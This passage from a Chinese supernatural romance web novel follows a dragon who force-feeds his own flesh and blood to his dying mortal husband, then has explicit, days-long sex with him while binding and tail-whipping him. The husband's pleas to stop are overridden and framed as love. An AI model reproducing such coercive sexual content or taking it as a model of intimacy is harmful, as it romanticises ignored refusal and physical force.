山间回荡着李青辞轻盈的笑声,这声音里夹杂着一丝鸟鸣声。 玄鳞眯了眯眼,一只游隼衔着一片翠绿的羽毛飞到他眼前。 李青辞开心地将鱼放进鱼篓里,玄鳞盯着他的后脑勺,脸色极其阴沉,恨不得张开血盆大口,一口咬碎这个脑袋。 这时,李青辞转过头,把鱼钩晃到身前:“玄鳞,你再给我弄一截蚯蚓上去。” 玄鳞闭了闭眼,压下纷乱的思绪,拳头攥得咯吱咯吱响,他深深吸了两口气,从土里现挖蚯蚓。 “自己嫌脏不想弄,让我去碰那种脏玩意儿,李青辞,你可真行!” 李青辞笑了起来,用脑袋钻他的胸口:“那不是你太能干吗,有你在,我就变懒了。” 玄鳞哼了一声,弹他的脑门儿。 天色渐暗。 玄鳞一手托抱着李青辞,一手拎着轻飘飘的鱼篓,不紧不慢地朝家里走:“就三条指甲盖大的鱼,给你自己炖汤都不够,来之前雄心壮志的,说要给我抓鱼吃,口气倒是挺大,呵呵!” 一声冷笑贴着李青辞耳朵边儿响起,李青辞干巴巴笑了一声:“这也不能怪我,这条小河水浅,也没什么大鱼,而且你老是亲我,还亲得那么用力,声音那么响,鱼不被吓跑才怪。” 玄鳞听完气得直咬牙,两只手都忙着,嘴巴也咬不到人,干脆变出角来戳他:“小嘴叭叭的净歪理,胸口给你戳俩大窟窿,哗哗直流血。” 李青辞双手握住其中一只角,笑着凑上去亲了亲:“你才舍不得呢。” 嘴唇挨上去的一瞬间,玄鳞鳞片都要炸开了,脊骨猛地一颤,他刷地一下收回角,气急败坏道:“你什么时候能管住自己那俩脏爪子!还有那张嘴,整天瞎摸瞎亲。” 李青辞理直气壮道:“我答应你的求偶了,你也是我娶进门的媳妇儿,我亲亲你摸摸你怎么了?” 玄鳞脚步快了许多:“李青辞,我是真想捅死你!” 李青辞将脸贴着他的脑袋:“那你快一点。” 要不然就来不及了。 玄鳞沉默了,没一会儿,他哼了一声:“等着吧,到时候别哭得一把鼻子一把泪地求我。” 李青辞听完撅起嘴:“就算求你又怎么了,你又不会听,也不会停。” “李青辞你有没有良心?我怎么没听,后来不是停了吗?” “这么记仇!就那一回记到现在,其他时间我伺候你的时候,哪回没听你的。” 李青辞不高兴地踢腿:“你是停了,再不停我就被你搞废了,我当时都没跟你说,我睡醒去小解的时候都疼了。” 玄鳞步子慢了下来,仰头去看那张委屈的小脸儿,不禁心虚起来:“我当时也不知道你们人是那样的,谁知道你一会儿一次,那么能淌水,这样好不好,以后给你堵起来,少淌两次水应该就不疼了。” 李青辞听完眼睛都瞪大了,又羞又恼,用力踢他:“你胡说什么!你干脆直接废了我好了。” 玄鳞放下他,在他撅起的嘴唇上亲了一下:“你才瞎说,我怎么舍得,好了好了,以后我都顺着你,只让你舒服,不让你疼。” 李青辞牵住他的手,闷头走着不说话。 刺扎进肉里能不疼吗,说什么大话、空话。 不过,李青辞晃了晃手,他现在很能耐疼。 到家后。 玄鳞先倒了一杯水,喂给李青辞。 李青辞小口喝着水,明明是温热的水,流进肚子里,小腹却发暖甚至有一点点烫。 玄鳞又往水里加血了。 他这些时日一直在喝玄鳞的血。 他很难受,又很无奈。 不想让玄鳞疼、让他受伤流血,可是如果不喝玄鳞又会很生气。 他也想用好的身体状况和玄鳞相处最后的时光。 反正也没多久了,算了,就再自私一回吧。 李青辞喝完水,茶杯还没放在桌上,又被喂了一嘴甜水。 玄鳞拍了拍他的脑袋:“好了,自己舔舔嘴唇上的水,我去做饭,你不许跟过来,就在屋里呆着。” 李青辞顾不得舔嘴唇,立刻凑过去抱他:“不要,我就要和你待着,之前不都是我烧火吗,为什么这回不让去了?” 玄鳞搂着他的腰说:“哪那么多为什么?你听不听话?” 李青辞斩钉截铁道:“我不听!” 这半个多月以来,他一刻都没有和玄鳞分开过,做个饭最起码要半个时辰,他才舍不得浪费。 玄鳞啧了一声,妥协道:“……好好好,去去去。” 玄鳞把三条指甲盖大的鱼处理好,丢进锅里。 李青辞正在烧火,玄鳞过去拍了下他的脑袋:“看你这爪子脏的,去,洗洗手。” 李青辞正在往灶膛里添树枝:“等会儿,这火还没烧完呢。” “现在就去!” 李青辞站起来,不怎么高兴地去洗手。 等他回到厨房时,玄鳞喝住他:“不许再进来,就在门口呆着。” 李青辞压根不听,径直走进去,伸手抱住他的腰。 玄鳞无奈,丢了个小法术,抱着李青辞出了门。 两人躺在房顶上,看东边刚升起来的月亮。 没一会儿,一股非常浓郁的香味传到两人身边。 李青辞吸了吸鼻子,惊叹道:“哇,这次炖的鱼汤好香啊!怎么这么香!” 玄鳞没说话,紧紧拢着他仍旧泛凉的手。【你现在阅读的是 】 【正文完】 第73章 朝暮并往,共度…… 玄鳞盛出鱼汤搁在桌上,递给李青辞勺子。 李青辞坐在他腿上晃了晃脚,先贴了下他的脸,然后才去喝汤。 浓白的汤一进嘴,李青辞就觉得不太对劲,这不太像是鱼汤的味道。 温热的汤顺着喉管一路往下流,小腹热得发烫。 李青辞嘴里正嚼着肉,忽然觉得恶心和极度的惊惧,他手抖得捏不住勺子,腰身压得极低,眉眼全是痛苦,张嘴就吐。 玄鳞扳过他的脸,强硬抬着他的下巴:“不许吐,咽下去!” 不过一瞬,李青辞脸上爬满了泪痕,他哭喊着挣扎,几乎是陷入了癫狂:“我不吃我不吃!” 玄鳞看他这样,不免心疼,但更多的是冷静,语气冰冷地命令:“继续吃,一口都不许吐!” 李青辞第一次这么激烈地反抗玄鳞,他手脚并用地拼命挣扎,被捂住的嘴发出闷哑的哀鸣,像是濒死前最后的挣扎。 “……啊!啊……啊!!!” 李青辞哭得撕心裂肺,整个人剧烈颤抖,像是要把自己抖碎一样。 玄鳞急促眨了眨眼,把人紧紧搂在怀里,低声安抚:“好了好了,小崽儿不哭了,没事的,很好吃的,两口就吃完了,你乖,听话一点。” 李青辞眼圈红得吓人,眼里全是红血丝,流出来的眼泪像是血泪一样。 他嘴里含着东西,语字模糊不清:“我怎么能吃你的肉,我怎么能吃你的肉!” 只安静了一瞬,李青辞又疯狂起来:“你杀了我吧!我死也不吃!我不吃!!!” 他挣扎得太过剧烈,玄鳞都快按不住他了,怕力气用过了伤到他,只好轻声安抚:“你乖一点,听话好不好?” 李青辞哀求地看着他:“求求你,就让我死吧,不要再用血和肉喂我了,我已经活够了,我不想再活了,你别管我了,你走吧,玄鳞,你走吧。” 玄鳞垂着眼,语气很轻:“我能去哪儿呢?” 李青辞挣开他,从书桌上拿出一本册子给他:“这都是我自己整理的,上面标的有地址,记载着每条河流的详细情况,都是很清澈、很宽阔的大江湖泽和深涧潭水,都是很好的地方,你去吧,不要留在这里了。” 玄鳞沉默着没说话。 李青辞拉着他的胳膊把他往外拽:“你还能活很久,我对你来说,就是一个萍水相逢很快就擦肩而过的人,你以后还会遇到很多很多人,很快就会忘了我的。” 玄鳞坐着不动。 李青辞跪在地上哭着求他:“你走吧,好不好?你说过的,你说了,谁死了都一样,你只会为我难过一会儿,现在已经很多会儿了,你不要再难过了,你走吧。” 玄鳞把他从地上拉起来,李青辞却根本站不稳,整个人脆弱地摇晃。 玄鳞把他搂在怀里,垂着眼看他,语气平静到冷漠:“李青辞,你还是这么自私,你只考虑你自己,从来不为我考虑。” “你死了,两眼一闭干净了,我怎么办,我怎么办!!!” 玄鳞暴怒地嘶吼:“我要怎么办?我以后要怎么办?我还有那么长的生命,我自己要怎么办?” 玄鳞哭了。 大颗的眼泪砸在李青辞脸上。 李青辞止不住地哆嗦。 玄鳞深深弯着腰背:“小崽儿,你死了我怎么办?我舍不得你,你是我最疼最爱的人,我怎么能眼睁睁看着你死在我眼前。” 他完全没有办法想象,以后那么长的生命里只有他自己,李青辞会躺在土里,身体慢慢腐烂,化为一滩血水,渐渐,连血水都找不到,最后连白骨都不见了。 李青辞会完全消失,世上再也没有这个人。 再也没有人会喊他的名字,会朝他扑过来,眼巴巴地望着他,搂着他的腰跟他撒娇,缠在他身上腻歪,撅着嘴让他疼。 玄鳞伸手捂住脸,嗓音发颤:“李青辞,你怎么能这么残忍地对我,你这个狠心的崽子,我怎么就喜欢上你这个没心肝的东西,你对我太不好了,你娶我的时候不是这样说的。” 李青辞怔愣的眼睛逐渐凝神,他抹去脸上冰凉的泪水,闭上眼,缓慢地吞咽一下。 他伸手抱住玄鳞,慢慢顺着他的后背,轻声哄着:“我知道错了,我改,你别哭了,我听话,我乖,我这就去吃。” 玄鳞推开他,别过头,不想让他看见自己狼狈的样子:“你走开,别碰我。” 李青辞抱着他不撒手,用脑袋磨他的下巴:“不要,我就想挨着你,你不抱我,我都吃不下饭。” 玄鳞扯着他的胳膊,照着他屁股啪啪抽了两巴掌:“让你非要闹,刚才乖乖把饭吃完,还有这一出事吗,为什么非要惹我生气?” 李青辞垂着头没说话。 玄鳞把他搁在自个腿上,端着碗放在他手边:“快吃,不许吐,不许嫌弃我的肉。” 李青辞捧着碗,胸口急促起伏,干涩的眼睛霎时又流出几行泪,啪嗒啪嗒,泪珠溅到碗里。 玄鳞满心无奈,抬手给他抹眼泪:“别哭了,盐放得够多了,再哭,齁咸的还能喝吗。” 李青辞心痛难忍,但仍旧留着一分清醒:“玄鳞,没有用的,就算我吃了你的肉,我也只是身上暖和一点,精力充沛一点,治标不治本的,你别再伤害自己了。” 就算他一直喝玄鳞的血,吃玄鳞的肉,到了时间,他还是会挡不过反噬,依旧会死。 玄鳞舀起一勺汤喂在他嘴边:“少操心不该操的事,吃你的饭。” 李青辞别过脸,直视他:“你先答应我,就这一回,别再伤害自己了,我过阵子就死了,你让我安安心心的走吧。” 玄鳞强硬地把勺子塞进他嘴里:“说了让你别操心,你就乖乖听我的话,其他的什么都不用想。” 李青辞被迫喝了口汤,紧紧蹙着眉,满心痛苦。 玄鳞摸了摸他的脸:“小崽儿,我不想当寡妇。” 李青辞愣住了。 玄鳞一脸郁郁:“我不想当一个没办法改嫁的年轻寡妇,隔壁那个胖姑娘总说寡妇有多难,我不想过那么惨。” 李青辞的难过停住一瞬,心情极为复杂,简直啼笑皆非。 他木着脸解释:“那是太夫人说给别人听的,其实她当寡妇当得很开心。” “我不管,我不要当寡妇!”玄鳞语气很强硬,随即渐渐失落起来,“我的初角只有一个,逆鳞也只有一片,都给你了,即使我活得再长,这辈子也只有你一个。” 李青辞抽了抽酸涩的鼻子,眼里又有泪光闪动。 “小崽儿,我已经习惯和你待在一起了,我舍不得你,也离不开你,我不想再自己呆着了,我想和你一块过日子,你这回就乖一点,听我的话好不好?” 李青辞抹了把眼泪,认真点头:“好。” 他自己捧着碗,快速吃饭,一点不敢嚼,全都囫囵咽了下去。 玄鳞的手掌一直放在他小腹,为他化去滚烫。 等吃完饭,李青辞又哭成了一个泪人。 玄鳞既心疼又心软,也很无奈。 这要怎么办? 以后天天都要吃他的肉,喝他的血,小崽子的眼泪再多也经不住这样流啊。 这种情况持续到第七天时,李青辞彻底崩溃了,怎么哄都没用。 “我不吃,我不吃了,我死都不吃了!玄鳞,你走吧,我不想你救我了!这是我自己做下的事,我自己承担,用不着你帮我,你走啊!!!” 李青辞哭着把玄鳞往外推:“玄鳞,算我求你了,你走好不好?” 玄鳞把他抱在腿上,耐心哄着:“乖,很快就好了,过两天就不让你吃了。” 李青辞捂着脸痛哭。 玄鳞一下下拍打着他的后背:“我又不疼,就你这点儿胃口,也就指甲盖大的肉,你是我的小崽儿,也是我的雌兽,我养着你是应该的,就吃了这么一丁点肉,你都哭成这样,有的蛇交尾后,母蛇饿了会把公蛇直接吞了,你这才算什么呀,至于哭这么厉害吗,啊,不哭了。” 李青辞深深躬着腰,脑袋压得很低,发出一声声哀鸣的哭泣。 玄鳞扳过他的脸,盯着他的眼睛问:“你还想不想和我好了?咱俩还没有交过尾呢,我都没有彻底疼过你,你真的忍心让我以后当一辈子寡妇。” 李青辞瘪着嘴,嘴唇抖得厉害。 玄鳞逼问他:“李青辞,你非要这么残忍地对我吗?” 李青辞用力摇头,哭喊道:“我也很爱你的,我怎么舍得让你不好过,可是如果我活着就要伤害你,那我还不如死了。” 玄鳞给他擦脸:“你活着才能爱我,只有你好好的,我才能好过。” “小崽儿,你别这么自私,也为我考虑考虑,乖乖听话好不好?我这回真没骗你,马上就好了,真的再吃两天就好了。” 玄鳞亲他的脸蛋,声音带着笑意:“小崽儿,过两天我就好好疼你,然后我带你回我的家,我家的山很大很大,能让你玩很久,马上就好了,咱们以后就踏踏实实过好日子了。” 李青辞哽咽着问:“真的吗?过两天真的会好吗?” 玄鳞保证:“会,你已经快能接纳我了,最多再让你吃几顿,乖乖的,把饭吃完。” 他没有说谎话骗李青辞,李青辞现在已经没有吃过其他东西了,全靠他的血和肉养着,身体不再那么脆弱,可以接受他的东西了。 李青辞哭着把饭吞了下去。 玄鳞抱着他哄:“乖乖,不哭了,正好现在天黑了,我带你出去飞一圈儿,吹吹风。” 李青辞紧紧搂着他的脖子:“不要,我不想出去,我就想这样抱着你。” “好好,听你的,咱们不出去。”玄鳞将他压在身下,含着他的嘴唇温柔舔着,“看我们小崽儿哭得多可怜,我疼疼。” 李青辞在这温柔的安抚中,渐渐平静下来。 三天后。 这种如同架在烈焰上炙烤的煎熬,终于过去了。 李青辞捧着茶杯喝水,刚喝完,玄鳞又给他弄了一杯:“我不想喝了,好撑。” 玄鳞摸他的脑袋:“乖,多喝点,我也是为你好,不然等会儿淌那么多水,该渴了。” 李青辞一听这话,立刻放下茶杯,一口都不再多喝:“我不喝了,我宁愿渴着,也不要再那个样子了。” 玄鳞妥协了:“行吧,不愿意喝就不喝了,等会儿渴了我再喂你。” 他把人抱起来:“走,我去给你洗澡。” 李青辞坐在热气氤氲的浴桶里,脸上红彤彤的,不知道是羞红的还是热红的。 他推了推玄鳞:“你先出去吧,我自己洗。” 玄鳞没走,蹲在浴桶边看他:“上回你自己怎么弄的,做给我看看。” 李青辞愣了愣,才反应过来,低着头小声说话:“我用不上,家里没有那个东西了。” 玄鳞低嗯一声:“没事,我给你弄,好了,泡得也差不多了,出来吧。” 李青辞抿着嘴,抬眼看他。 玄鳞滚了滚喉结,深吸一口气,一把将他从水里提出来:“不等了,我一会儿也等不了了。” 一轮圆月挂于天际,洒下皎洁清辉,清白的月光透过窗子照进屋内。 李青辞跪趴着,脸闷在枕头上,脸红得跟烫熟了一样,整个人一直在抖。 他实在受不了了,反手去拍玄鳞:“好了吧……” “不行,得再打湿一点。”玄鳞从他身后抬起头,吞咽一下,然后割破自己两根手指,将鲜血均匀涂抹在内壁上,用法力渐渐化开。 还是不够,玄鳞又割破一根手指,将三根手指的血涂抹其内。 李青辞嫌烫,一直蹬腿。 玄鳞箍住他,把他抱在怀里,轻轻拍着:“别这么娇气,马上就好了,一会儿不许再哭,听见没有?” 李青辞抱住他的脖子,埋在他肩上,闷闷道:“我尽量忍住。” “真乖!”玄鳞低笑着夸他一句,“一会儿我抱着你走。” 玄鳞腾出里面那只手,双臂搂着李青辞,抱着他慢慢往洞里走。 刚进去,玄鳞就低声嘟囔一下:“真难走,好小啊,又窄又浅,感觉我走不了两步就到头了。” 李青辞正咬牙忍着呢,听见这话,既生气又委屈:“那你别走了,出去,我这庙小,容不下你这尊大佛。” 玄鳞啧了一声,低声哄他:“又生什么气,我就说两句实话,这也要不高兴。” 一边说,一边快走了两步。 李青辞顾不上跟他计较了,死死咬着嘴唇。 玄鳞见他抖这样,心里也不好受,身体更不好受,一再放慢步调:“小崽儿,你怎么长这么小呀。” 李青辞伸手捶他。 玄鳞立刻哄人:“好好好,不说你了,我们小崽儿不小,洞府深着呢。” 李青辞简直都不知道往哪个地洞钻,脸皮可以直接用来煎鸡蛋了。 两人又往前走了一会儿,在涎液和血液的加持下,玄鳞终于感觉好走了很多,尾巴上沾的都是水。 玄鳞捧着李青辞的脸,低声问:“喜欢我的尾巴吗?” 李青辞感觉自己快被劈成两半了,难受得根本说不出话来。 玄鳞并没有放过他,再次逼问:“说,喜不喜欢我的尾巴?” 李青辞缓了缓,哽咽着点头:“喜欢,我喜欢你的尾巴。” 玄鳞挑了挑眉,愉悦地笑了起来,他甩动了两下尾巴:“我好喜欢这里。” 这个洞府简直是为他量身打造的,他是水蛟,他天生就喜欢温暖潮湿的地方,这是他挖得最好、最满意的巢穴,他以后一辈子都要待在这里。 玄鳞身上的愉悦和开心,毫不掩饰地流泻出来,他活了近千年,第一次被接纳,还是被这么好的接纳。 他简直要开心死了,捧着李青辞的脸,一直疼他。 李青辞昏昏沉沉,不知过去多久,只觉得天黑了又亮了,亮了又黑了。 他实在撑不住了,哑声哀求:“玄鳞,好了吧?” 玄鳞摸了摸他汗湿的脸,掰开他的嘴往里喂了两滴精血。 李青辞萎靡的气息,顿时昂扬抖擞起来。 玄鳞拍了拍他的肚子:“渴不渴?要不要给你喂点水?” 李青辞摇头,抬手搭在眼睛上。 他真的快要崩溃了,最起码有三天了,他什么也没有做,就翻来覆去地躺在床上。 他很累了,可玄鳞一直给他喂血,吊着他的精气神,每一次的间隙,他都又累又困,满心倦怠,只想合上眼好好睡一觉,可总是不能,又开始了下一次。 “玄鳞,你到底什么时候好呀,让我睡一会儿吧。” 一条黑蛟快速地摆动尾巴:“这才刚开始走,小崽儿,不许这么娇气,又没有饿着你,渴着你,乖乖的,马上就走完了,一会儿就让你睡觉。” 李青辞听完,抓着枕头狠狠砸向他。 这个“一会儿”,已经是他第五次听见了。 玄鳞抖着自己的尾巴,伸手把人抱在怀里,低声安抚:“你之前不是说要好好疼我吗?缠着我不让我走,小嘴叭叭的,非说要接纳我,结果你现在就这样?” 李青辞对这番指责简直欲哭无泪,他怎么会知道凡人和蛟的差距会这么大,他以为最多也就多几个时辰而已。 “小崽儿,我疼得你舒服吗?” “舒服,都快舒服死了!” 玄鳞捏他的嘴唇:“不许瞎说话。” 李青辞坐了一会儿,肚子实在难受得不行,吃太多,太胀了:“玄鳞,你让我躺下吧,我不想坐了。” 玄鳞搂着他不松:“好,一会儿就让你躺着,先让我好好抱抱。” 李青辞出了一身的汗,后背滑得发腻,体温也升高很多,手掌挨上去简直一刻都不想拿下来。 李青辞被亲得晕乎乎的,满嘴的甜味儿。 突然,一条尾巴狠狠甩在他身上。 李青辞受不住疼,浑身抽搐起来,眼圈都红了,眼泪和水珠同时顺着往下淌。 一副极其可怜脆弱??的样子。 玄鳞看着他,心里快爽死了,恨不得甩着尾巴狠狠抽他。 但是他也知道,他的雌兽是个凡人,还是个很脆弱、很娇气的凡人,经不住他这么磋磨。 玄鳞叹了口气,收回自己的尾巴,没再抽他。 空的一瞬间,李青辞真的要喜极而泣了,有种如蒙大赦的感觉。 他埋在玄鳞肩上蹭了蹭:“睡觉吧,感觉我都好几天没有睡觉了。” 玄鳞搂着他没有说话,手背上渐次浮起玄鳞,很快蔓延到小臂。 心里犹豫片刻,玄鳞还是选择蒙住了李青辞的眼睛。 李青辞被黑布蒙住眼,内心很茫然:“你干什么呀?” 玄鳞用嘴唇磨了磨他的脸颊:“乖,小崽儿,等会儿发生什么都不要怕,你摸到的都是我,我会控制好自己,不会伤到你的。” 李青辞听完依旧很茫然。 玄鳞拿出那根红布,缠在李青辞身上堵住他:“你先歇两回,别再淌了。” 李青辞蹬腿,轻声哀求:“别这样,玄鳞你别这样,我不舒服。” “忍一忍,啊,等会就让你舒服。” 玄鳞把他翻过来,让他闷脸趴着:“礼尚往来,我疼了你那么久,你也该疼疼我了。” 李青辞满心荒唐,他没有疼?那他这几天在干嘛? 玄鳞俯身亲了亲他的后颈,又在他肩上咬了一口:“乖,好好窝着吧。” 玄鳞直起身子,眼睛彻底变回鎏金色竖瞳,额头倏地生出一对角来,尾巴窜出来,腰间以下全被黑色鳞片覆盖,一处的鳞片缓缓翕张,被关在里头的两只猛兽终于得见天日。 猛兽冲出来后,直奔他们的巢穴。 可是猛兽长得高大威猛,巢穴没办法同时容纳他们两个,甚至进去一个也很勉强。 它们只能先磨磨蹭蹭地进去一个,另一个在外面附近等着。 黑蛟的尾巴毫不留情地抽打在李青辞身上。 李青辞咬牙忍了许久,终是忍不住哭着哀求:“玄鳞,求求你了,饶了我吧。” 玄鳞对他的哀求无动于衷,依旧残酷地鞭笞他。 这一场惩罚才刚开始,李青辞的眼泪就快哭干了。 太阳升起落下,又升起,又落下。 这场惩罚好似没有尽头。 李青辞本来还想数着玄鳞给他喂了几次血,好用以计算时辰,可是记到第八次时,脑袋全部混乱了,什么也记不清了。 “玄鳞,求求你了,饶了我吧,你把尾巴收回去好不好?你变回人吧。” 李青辞跪着祈求,肩膀颤得不成样子,仿佛下一瞬就要瘫软趴倒下。 一截儿黑色的蛟尾缠在他身上,用于支撑他虚弱的身体。 “小崽儿,马上就好,啊,忍一忍。” 李青辞开始挣扎:“我忍不了,我是人呀,我只是个凡人!” 玄鳞用尾巴尖儿蹭了蹭他的脸:“别这么娇气,你能撑得住。” 凶狠的尾巴持续抽在李青辞身上,简直没有喘息的功夫,他怎么能撑得住呀! 李青辞身体止不住地抖,说出来的话音也跟着颤:“玄鳞,你疼疼我吧,饶了我好不好?” 玄鳞扯过他一条胳膊,捏着他的手安抚:“好好,一会儿就好了。” 李青辞哭着甩开他的手:“你总这样,你又敷衍我,你骗我!” 玄鳞深吸了一口气,放慢自己的尾巴。 李青辞茫然瞪着眼睛:“玄鳞,把眼睛上的布条给我解开,我想看看你。” 玄鳞避而不答,他缓缓倾身,努力收回自己的利爪和手臂上的鳞片,用人手轻柔地摸着他的脑袋,扳过他的脸,亲了亲他的脸蛋,思索一会儿,仍是没有解开他眼睛上的布条。 他不想在这种时候,吓到小崽子。 玄鳞解开李青辞身上的红布,转而说起了其他的话:“好了,不绑着你了。” 束缚解开的一瞬间,李青辞立刻哭了起来。 玄鳞单臂紧紧圈住他的肩膀,脸贴着他的发顶,另一只手贴在他肚子上,嗓子低低哄着人:“乖,不要怕,可能会有一点烫,很快就好了。” 李青辞双眼失神,满心空茫,努力理解他的话。 下一瞬,玄鳞攥手成拳,将尖利的爪子扣在掌心,手臂无法自抑地浮起鳞片。 漆黑的蛟尾一圈圈缠绕,为了防止猎物逃脱,尾巴上的倒刺逐渐张开紧紧攀着猎物。 这对凡人来说,简直是一场残酷的惩罚。 李青辞身子重重弓起却又被强行压下,他的嗓音及其凄厉,痛哭着哀求。 “玄鳞,求求你,别用尾巴打我,我好难受好难受啊。” 他整个人像是被钉死在原地一样,丝毫动弹不得。 玄鳞用下巴蹭了蹭他的脑袋:“别怕,这些刺没有真的扎进你肉里,不会流血的,一会儿就好了,啊,真的,一会儿就好了。” 李青辞哭得眼睛红肿,视线模糊不清,依稀觉得天亮了两次。 这一会儿真的好漫长呀,像是吞了一块儿烧的通红的炭,把他的肚子快烧穿了,他感觉自己快死了,真的要熬不下去了。 他虚弱着开口:“玄鳞我是人,肉体凡胎的凡人,我快烂了,真的快烂了,我要死了。” 玄鳞捂住他的嘴:“不许瞎说,你好好着呢,有我在,你怎么可能会烂,更不可能会死,我的东西只会好好养着你,不会伤害你的。” 李青辞忍不住呜呜哭了起来:“你到底什么时候能够放开我呀?我不想要你的东西了,我一点都不想要了,求求你,你饶了我吧。” 玄鳞见他哭成这副可怜样儿,忍不住心疼,但也实在没办法,开弓没有回头箭,没有半道收回去的道理。 “小崽儿,你快把我的心哭碎了,就再忍一会儿,马上就好了。” 玄鳞微微侧过身,尽力收回自己的鳞片和爪子,捏着帕子给李青辞擦眼泪,消去他眼睛的红肿。 另一只手护在他肚子上,用法力化开那股精元。 玄鳞做得极其认真,一丝不苟,这件事关乎他接下来的计划,关乎小崽子的命。 李青辞已经很听话了,只有实在受不了的时候,才会哭出声。 可他到底是个凡人,就算玄鳞用血和肉养了他这么久,他现在还是脆弱的,这么长时间不吃不喝不睡,还要承受着极致的欢愉和痛苦。 玄鳞知道,小崽子能做到这样已经很不容易了,他温柔地亲着小崽子的脑袋,低声说话,转移他的注意力。 “你之前不是好奇深涧是什么样吗,等你把东西都吃下去,好好养好身体,我就带你回家,天天陪着你在山里玩,给你找各种好吃的,现在你也不当官了,到时候你想怎么睡就怎么睡,想怎么玩就怎么玩,干什么我都由着你,好不好?” 李青辞摸索着,捞住他一只手,脸闷在他掌心里,哑着嗓子回答:“好。” 日月更替,岁月悄然流逝。 这场漫无目的好像永远都没有尽头的炙烤终于过去了。 李青辞明明困极累极,可是精力又很充沛,他出了一身又一身的汗,又被玄鳞轻柔地洗了一遍又一遍。 他现在整个人都暖乎起来,肌肤莹润,双颊丰腴饱满,面色红润,嘴唇恢复以往的血色,甚至颜色更甚。 玄鳞收回自己的尾巴,变做人,满心欢喜地把李青辞搂在怀里,摸着他的脸,亲昵地用鼻子蹭他的脸蛋:“小崽儿真乖,真能干,看,你现在好好的,身体是不是很舒服?” 李青辞没力气,懒懒地哼了一下,整个人疲惫不堪,却又没办法睡过去。 玄鳞操控着水流,将他全身上下又清洗一遍,用手指慢慢梳理他的头发:“好了,你现在又是一个暖乎乎、干干净净的漂亮小崽儿。” 等他做完最后一步,李青辞就能永远陪着他了。 玄鳞无法自抑地笑了起来,他搂紧怀里的人,感觉自己的心都要化掉了。 “我的小崽儿真乖,真好,让我真舒服,从来没有这么舒服过,小崽儿,我好爱你啊,我以后会一直这么爱你的。” 李青辞抬着酸软无力的手臂,回抱他:“我也是,我也好爱你。” 顿了顿,他又好声好气地商量:“玄鳞,你以后能不能只疼我,别再这样的爱我了。” 玄鳞当即反驳:“那不行,我不想当寡妇,更不想守活寡,你这个崽子真狠心,刚舒服完就这样对我,你还有没有良心?” 李青辞无语地翻了个白眼儿,也不知道这条蛟从哪学的这些词。 他轻声哄了两句:“好,我都听你的,你对我做什么我都受着。” 玄鳞捏着他的脸问:“是心甘情愿的吗?” 李青辞撩起眼皮,回望那双暗金色的眼睛,语气极为认真:“是,我是心甘情愿的,我愿意承受你对我做的所有事。” 玄鳞压了压嘴角,低声嘟囔:“那你刚才哭得那么可怜,一个劲儿求我让我出去。” 李青辞哽了哽:“我这不是第一回吗,差点都被你折磨死了,我没骨气地求饶还不行吗?又不是不喜欢你,这你也要说我。” 玄鳞亲了亲他撅着的嘴唇:“……好好,不说你了,以后少哭一点,相信自己,我们小崽儿能干着呢,是不是?嗯……我也很能干,是不是小崽儿?” 李青辞抬手遮住眼,他实在听不下去了,往玄鳞怀里钻了钻:“我困了,你朝我脸上吹口气,我想睡觉。” 玄鳞紧紧搂着他,耐心安抚着:“那不是作弊吗,不行,我哄着你,一会儿就睡了,咱俩一块睡。” 悠长气息带来熟悉的清冽气味,李青辞窝在踏实宽阔的怀抱里,过度疲乏又被迫充盈的身体,终于缓缓松懈下来,他眨动着迟钝的眼睛,缓缓沉睡过去。 这一觉睡得很沉、很久。 玄鳞依靠床头坐着,李青辞缩在他怀里睡得很沉。 玄鳞把人搂得很紧,嘴唇一直贴着温热的脸颊。 怀里的这个人,看着面色红润,气色极佳,眼角的细纹几乎都看不见了。 可这一切都只是表象,他的骨子里仍旧散发着一股浓浓的死气,而且死气越来越浓郁。 玄鳞靠近李青辞的颈间仔细嗅着,心知不能再等了,他狠了狠心,把人喊醒。 手掌轻拍李青辞的脸颊,他把声音放得很轻很温柔:“小崽儿,乖,咱们先不睡了。” 李青辞咕哝一声,缓缓张开眼睛。 玄鳞抱着他晃了晃:“起来,你收拾一下,看看有什么想带走的,我带你回家。” 李青辞沉默着没有作声。 孔雀当时跟他说得很清楚,这个禁术一定会遭到反噬,届时会降下天谴,没有办法消弭。 玄鳞要怎样救他呢?玄鳞会付出什么代价? 他仰起头,看着这双对他满是爱意的眼睛。 不由得想,玄鳞说他的一点都没错,他就是一个很自私的人。 他想活下去,想继续爱玄鳞,想和玄鳞好好相伴朝夕。 “好。” 李青辞起身去收拾东西。 玄鳞身上很能装,带了很多东西,他在屋里转了一圈,跑到厨房把锅抠下来装走了。 李青辞站在院中,仰头看着天上的月亮。 这场疼爱几乎持续了大半个月。 他心中不禁惊诧,他这么能干吗?竟然撑下来了,中间没有昏过去,最后也没有被捅死。 在这一瞬间,他突然理解了玄鳞为什么对时间那么迟钝。 在这场疼爱里,他根本就记不清白天黑夜,分不清过去了多少天,更别提时辰了。 这次醒来,他也不知道自己到底睡了多久。 玄鳞整天就自个待在山里、沉在水里,他是一条能活上万年的蛟,他不用珍惜时间,打个盹都要十天半个月,沉睡一次要几十年,睡醒了怎么能记得住岁月呢。 …… 玄鳞把厨房的东西搜刮干净后,走到院中,把人拉进怀里。 “好了,咱们可以走了,现在你用不着吃饭喝水,要是困了就放心睡,一会儿咱们就到家了。” 李青辞翻了下眼皮,没有理会这个“一会儿。” “我是人呀,怎么就不用吃饭喝水了?” 玄鳞摸了摸他的肚子:“你这里头存了很多我的精元,你现在还是有些脆弱,一次没办法承受太多,我就封着了,一次给你化开一点,你就用不着吃饭了。” 李青辞不禁羞恼,怪不得他觉得玄鳞明明出去了,但他还是觉得肚子很胀:“什么时候能彻底没了?” 玄鳞想了想,回答道:“我也算不好,不过很快,估计等咱们到家之后,应该就差不多了。” 李青辞麻木了,无语地翻了个白眼儿,这不还早着呢吗! 玄鳞弹了一下他的脑门:“又翻白眼,下次不许了。” 李青辞没说话,用脑袋拱他的脖子。 玄鳞顺势把人搂在怀里,用毯子把李青辞包裹得严严实实。 “走了,回家了!” …… 天上的月亮,洒下皎洁清辉。 玄鳞擦着山头飞行,漆黑的蛟躯与深黛色的山峰几乎融为一体。 等到天边亮起熹微时,玄鳞先朝李青辞吹了口气,然后沉入水中潜行。 游了好大一会儿,玄鳞浮出水面,将爪子中间的人捧在眼前。 现在无星无月,天色十分昏暗。 玄鳞御空而行,穿梭在云层中,快速朝前飞去。 他小心地合拢两只爪子,捧好手心里的人。 在这一瞬间,玄鳞突然明白了一件事情。 他之前被锁起来的时候,想着如果李青辞厌倦了他,他会是什么样的下场。 可是他却从来没有想过李青辞的处境。 